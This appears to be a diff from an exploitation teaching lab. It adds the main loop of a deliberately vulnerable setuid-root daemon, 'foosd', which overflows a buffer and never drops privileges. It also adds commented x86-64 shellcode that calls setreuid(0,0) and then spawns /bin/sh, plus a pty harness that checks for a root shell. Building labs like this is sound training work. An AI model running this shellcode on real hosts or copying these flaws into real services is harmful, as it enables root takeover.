/* ------------------------------------------------------------------------- */
static void handle_client(int fd)
{
static const char banner[] =
"FOOSD 1.0 - deliberately vulnerable SUID service\n"
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
send_leaks(STDOUT_FILENO);
vulnerable_handler(STDOUT_FILENO);
/* Only reached when the payload did NOT hijack RIP. */
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
}
/* ------------------------------------------------------------------------- */
/* The server loop */
/* ------------------------------------------------------------------------- */
static int make_listener(const char *host, int port)
{
struct sockaddr_in addr;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
logmsg("socket() failed: %s", strerror(errno));
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
logmsg("bad bind address: %s", host);
close(fd);
return -1;
}
if (port < 1 || port > 65535) {
logmsg("port out of range: %d", port);
close(fd);
return -1;
}
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
close(fd);
return -1;
}
if (listen(fd, 16) < 0) {
logmsg("listen() failed: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
"\n"
" -h HOST address to bind (default %s -- loopback only!\n"
" -L is required to bind anywhere else)\n"
" -p PORT TCP port to listen on (default %d)\n"
" -d daemonise: fork into the background\n"
" -L ALLOW binding to a non-loopback address (dangerous:\n"
" this binary is meant to be run SETUID ROOT)\n"
"\n"
"WARNING: this program is intentionally exploitable AND is meant\n"
"to be run setuid root. Do not run it on any host that matters,\n"
"never bind it beyond loopback, and remove the setuid bit with\n"
"`sudo make unsetuid` when you are done.\n",
argv0, FOOSD_HOST, FOOSD_PORT);
}
int main(int argc, char **argv)
{
const char *host = FOOSD_HOST; /* Bind address. */
int port = FOOSD_PORT; /* Bind port. */
int daemonise = 0; /* -d. */
int allow_nonloopback = 0; /* -L. The setuid safety guard. */
int lfd; /* Listening socket. */
int i; /* getopt() index. */
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
switch (i) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'd': daemonise = 1; break;
case 'L': allow_nonloopback = 1; break;
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
usage(argv[0]);
return 2;
default: usage(argv[0]);
return 2;
}
}
/*
* THE SETUID SAFETY GUARD.
*
* A setuid-root process that listens on a non-loopback interface is a
* remote root service. This guard is not a mitigation, it is a default:
* the administrator must consciously type -L to override it. Refuse by
* default, document the exception, fail loudly.
*/
if (!allow_nonloopback &&
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
strcmp(host, "::1") != 0)) {
fprintf(stderr,
"foosd: refusing to bind %s: this binary may be setuid root.\n"
" Loopback is the only permitted default. If you really\n"
" know what you are doing, pass -L.\n", host);
return 1;
}
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
g_logfd = dup(STDOUT_FILENO);
if (g_logfd < 0) {
g_logfd = STDOUT_FILENO;
fprintf(stderr, "foosd: warning: could not reserve a log descriptor\n");
}
/*
* SELF-DIAGNOSIS OF THE SUID STATE -- printed once, to the log.
*
* "suid active": euid==0 and ruid!=0 -> a setuid-root binary
* "run as root": euid==0 and ruid==0 -> started by root directly
* "plain user": euid==ruid!=0 -> +s bit not set (yet)
*
* foosc reads euid over the socket and can warn too; this log line is
* for you at the console.
*/
logmsg("startup: ruid=%d euid=%d %s",
(int)getuid(), (int)geteuid(),
(geteuid() == 0) ? "-> ROOT process"
: "-> NOT root (set the setuid bit with make setuid)");
if (geteuid() == 0)
logmsg("startup: WARNING: this daemon is running as root. It exists "
"only to be exploited. Port %d does not need root.", port);
lfd = make_listener(host, port);
if (lfd < 0)
return 1;
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
"VULNERABLE", host, port, (int)getpid());
if (daemonise) {
/* Standard double fork so we cannot acquire a controlling terminal. */
pid_t p1 = fork();
if (p1 < 0) { perror("fork"); return 1; }
if (p1 > 0) _exit(0);
if (setsid() < 0) perror("setsid");
pid_t p2 = fork();
if (p2 < 0) { perror("fork"); return 1; }
if (p2 > 0) _exit(0);
if (chdir("/") < 0) perror("chdir");
umask(022);
}
/* ---- The accept loop. Each child serves one connection as root. ----- */
for (;;) {
struct sockaddr_in peer;
socklen_t plen = sizeof(peer);
int cfd;
pid_t pid;
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
if (cfd < 0) {
if (errno == EINTR || errno == ECONNABORTED)
continue;
logmsg("accept() failed: %s", strerror(errno));
continue;
}
/*
* Fork per connection. The child KEEPS the root privileges -- that
* is Bug #3 in this lab, "no privilege drop before handling
* untrusted input" (CWE-271). See drop_privs() above for the code
* a real daemon would call at this exact point.
*/
pid = fork();
if (pid < 0) {
logmsg("fork() failed: %s", strerror(errno));
close(cfd);
continue;
}
if (pid == 0) {
close(lfd);
handle_client(cfd);
_exit(0);
}
close(cfd);
}
}

94
suid/shellcode.S Normal file
View file

@ -0,0 +1,94 @@
; ============================================================================
; shellcode.S -- the reference shellcode for the SUID lab (foosc)
; ============================================================================
;
; This is the byte-for-byte source of the SHELLCODE[] array in ../foosc.c.
; `make verify` assembles it with nasm and diffs the result against the C
; array, so a hand-maintained hex dump can never silently drift from the
; source of truth. Run it, do not just trust it.
;
; WHAT IT DOES
; ------------
; 1. setreuid(0, 0) -- make REAL and EFFECTIVE uid both root
; 2. execve("/bin/sh",0,0) -- replace this process with a root shell
;
; WHY THE FIRST SYSCALL MUST EXIST -- the whole point of this lab
; ----------------------------------------------------------------
; When a setuid-root binary runs, Linux gives the process euid 0 but leaves
; ruid = the launching user (e.g. 1000). Now:
;
; * execve() alone does NOT change the uids. euid stays 0 *in the process*.
; But bash and dash, on startup, compare euid against ruid, and when they
; differ (and -p is not given) they RESET euid = ruid -- the shell's own
; defence against exactly this attack. Result: plain execve("/bin/sh")
; from a setuid process gives you a shell that is NOT root.
;
; * setuid(0) is NOT enough either. On Linux, an unprivileged... no: even a
; privileged setuid(0) sets euid=0 (and saved=0) but LEAVES ruid
; untouched. bash still sees euid(0) != ruid(1000) and still resets.
;
; * setreuid(0, 0) sets BOTH ruid and euid to 0 (and, because euid 0 is
; privileged, saved too). bash now starts with euid == ruid == 0 and
; keeps root.
;
; So "clear the real uid as well" is not paranoia -- it is the *only* way a
; /bin/sh payload gets a root shell out of a setuid binary on a modern
; system. This is why the classic 24-byte shellcode you find all over the
; internet opens with a uid-clearing syscall.
;
; Register usage follows the System V AMD64 ABI: first integer args in
; rdi, rsi, rdx; syscall number in rax.
; ============================================================================
BITS 64
; ---------------------------------------------------------------------------
; 1) setreuid(0, 0)
; Linux x86-64 syscall 113: int setreuid(uid_t ruid, uid_t euid);
; ---------------------------------------------------------------------------
xor edi, edi ; 31 ff rdi = 0 -> ruid = 0
xor esi, esi ; 31 f6 rsi = 0 -> euid = 0
push 0x71 ; 6a 71 113 = __NR_setreuid
pop rax ; 58 rax = 113
syscall ; 0f 05 enter the kernel
; NOTES ON THE ENCODING:
; * `xor edi,edi` is 2 bytes and zeroes the full 64-bit rdi. "xor reg,reg"
; is the canonical way to zero a register -- not "mov 0", which is larger
; and a lot of CPUs special-case the xor anyway.
; * `push 0x71 ; pop rax` loads a small constant without a 7-byte
; `mov rax, imm64`. Pushing an imm8 sign-extends it to 64 bits; 0x71 =
; 113 fits, so this is both smaller and has no NUL bytes to worry about.
; * We deliberately do NOT check the syscall return: if foosd was NOT built
; setuid this fails with EPERM, and falling through to execve is exactly
; what we want (a plain, non-root shell) so the lab works both ways.
; ---------------------------------------------------------------------------
; 2) execve("/bin/sh", argv = NULL, envp = NULL)
; Linux x86-64 syscall 59
; ---------------------------------------------------------------------------
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
xor edx, edx ; 31 d2 rdx = 0 (envp = NULL)
movabs rdi, 0x0068732f6e69622f
; 48 bf 2f 62 69 6e 2f 73 68 00
; rdi = "/bin/sh\0" as one little-endian word
push rdi ; 57 put the string on the stack
mov rdi, rsp ; 48 89 e7 rdi = pointer to the string
push 0x3b ; 6a 3b 59 = execve
pop rax ; 58 rax = 59
syscall ; 0f 05 replace this process
; WHY THE STRING IS BUILT THIS WAY:
; * There is no "push imm64"; the widest push immediate is sign-extended to
; 32 bits, so "/bin/sh\0" (8 bytes) cannot be pushed directly. Loading it
; into a register with movabs and pushing the register is the standard
; trick. The little-endian word 0x0068732f6e69622f is the bytes
; 2f 62 69 6e 2f 73 68 00 = "/bin/sh\0": the 8th byte is the NUL
; terminator, carried "for free" in the register.
; * argv=NULL/envp=NULL is legal for execve and keeps the payload tiny.
; A real exploit would pass an argv with the path for maximum shell
; compatibility; this lab's target shell (bash via /bin/sh) is happy.
; TOTAL: 32 bytes.

278
suid/tests/pty_suid_test.c Normal file
View file

@ -0,0 +1,278 @@
/*
* pty_suid_test.c -- test harness: drive ./foosc through a pseudo-terminal
* so the interactive shell it hands over to has a real terminal.
*
* Why a pty at all: the exploit's last act is to relay the user's terminal
* to the shell running on the victim. Anything already sitting on the real
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
* commands must arrive via a real tty. This harness supplies one.
*
* What it proves, and in what order:
*
* SHELL the marker literal comes back AND real `id` output appears.
* Both are required because the marker alone also occurs in the
* command line we typed *to* the pty, so any harness that does not
* disable echo (see below) scores a false positive.
*
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
* really is root. That can only come from a live `id` executed by
* a root shell, and it is the entire claim of this lab.
*
* Flags:
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
* Used for the techniques that MUST escalate (shellcode,
* ret2win-root).
* --dump FILE write the raw transcript for post-mortem analysis.
*
* Exit status without --must-root: 0 when a shell is proven (marker + uid=),
* regardless of root. That is how the Makefile reports the "demoted shell"
* techniques (ret2win/ret2libc), whose whole lesson is that they succeed as
* shells yet do NOT get root.
*
* The critical detail shared with tests/pty_test.c in the parent lab: the
* pty must run COOKED but with ECHO off. With ECHO on, the pty mirrors our
* own keystrokes back into the transcript, the command line "echo
* SUID-ROOT-OK" supplies the marker, and the harness reports success whether
* or not any shell ever ran. That silent false positive cost real time in
* the parent lab; it is documented there and avoided here from the start.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(): timeout without a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The literal we ask the remote shell to print; seeing it come back (with
* ECHO off) proves a shell really echoed it from the other side. */
#define MARKER "SUID-ROOT-OK"
/* Proofs a real program ran inside the far-side shell. Matching is strict:
* "uid=" must be followed by digits and a parenthesis -- i.e. the exact
* shape of `id` output ("uid=1000(hanez)"). A bare "uid=" substring is NOT
* enough, because foosc's own diagnostics print "target euid=1000
* ruid=1000", and both "euid="/"ruid=" contain "uid=". That accidental
* substring made the hardened-build tests report id_output=SEEN while no
* shell existed -- the false positive this strict match eliminates. */
#define IDOUT "uid="
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
* older "uid=0( root)"-style output of any id implementation; only 'id' can
* print this line, and the parenthesis rules out any foosc/daemon chatter. */
#define ROOTOUT "uid=0("
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
* by one or more digits and then '(' . That is the signature of `id`'s
* output and of nothing foosc or foosd prints. */
static int saw_real_uid_output(const char *t)
{
const char *p = t;
while ((p = strstr(p, IDOUT)) != NULL) {
const char *q = p + 4; /* past "uid=" */
int digits = 0;
while (*q >= '0' && *q <= '9') {
q++;
digits++;
}
if (digits > 0 && *q == '(')
return 1;
p = q; /* keep scanning for the next "uid=". */
}
return 0;
}
/* Everything the pty has ever produced, scanned after every drain so a
* marker straddling a read() boundary cannot be missed. */
static char transcript[65536];
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
* and append to the transcript. select() with a deadline keeps us from
* spinning while the (interactive, silent) shell thinks. */
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* A chatty peer should not hold us forever: reset the deadline. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: shellcode)";
}
int main(int argc, char **argv)
{
int master;
char slave_name[256];
struct termios saved;
int have_saved = 0;
pid_t pid;
int ok = 0; /* marker seen */
int saw_id = 0; /* "uid=" seen: real program ran */
int saw_root = 0; /* "uid=0(" seen: it was root */
int must_root = 0; /* --must-root flag */
int round;
/* True when --must-root is present: the verdict then demands uid=0. */
for (int i = 1; i < argc; i++)
if (strcmp(argv[i], "--must-root") == 0)
must_root = 1;
/* ---- 1. Allocate a pty. ------------------------------------------ */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs foosc. --- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/* Forward everything except our own --must-root / --dump plumbing,
* which foosc's getopt() would reject. */
args[n++] = (char *)"./foosc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--must-root") == 0)
continue;
if (strcmp(argv[i], "--dump") == 0) {
i++;
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
* ECHO off is load-bearing (see the header comment). ECHONL stays on so
* we still see the newline when the pty processes our input. */
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1;
quiet.c_lflag &= ~(tcflag_t)ECHO;
quiet.c_lflag |= ECHONL;
tcsetattr(master, TCSANOW, &quiet);
}
/* ---- 4. Wait out foosc's analysis + connect + payload phases. ----- */
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. --------------------------------- */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have the signals we need (or give up). ----- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/* Rescan the WHOLE transcript, not the latest chunk: strings can
* straddle read() boundaries. */
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (saw_real_uid_output(transcript)) saw_id = 1;
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
/* --must-root: require everything. Otherwise require a live shell. */
if (must_root) {
if (ok && saw_id && saw_root)
break;
} else if (ok && saw_id) {
break;
}
}
/* ---- 7. Tidy up. ------------------------------------------------- */
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/* Optional --dump for post-mortems: pty_suid_test -t shellcode --dump x */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_suid_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr,
"\n[pty_suid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING",
saw_root ? "SEEN" : "MISSING");
if (must_root)
return (ok && saw_id && saw_root) ? 0 : 1;
return (ok && saw_id) ? 0 : 1;
}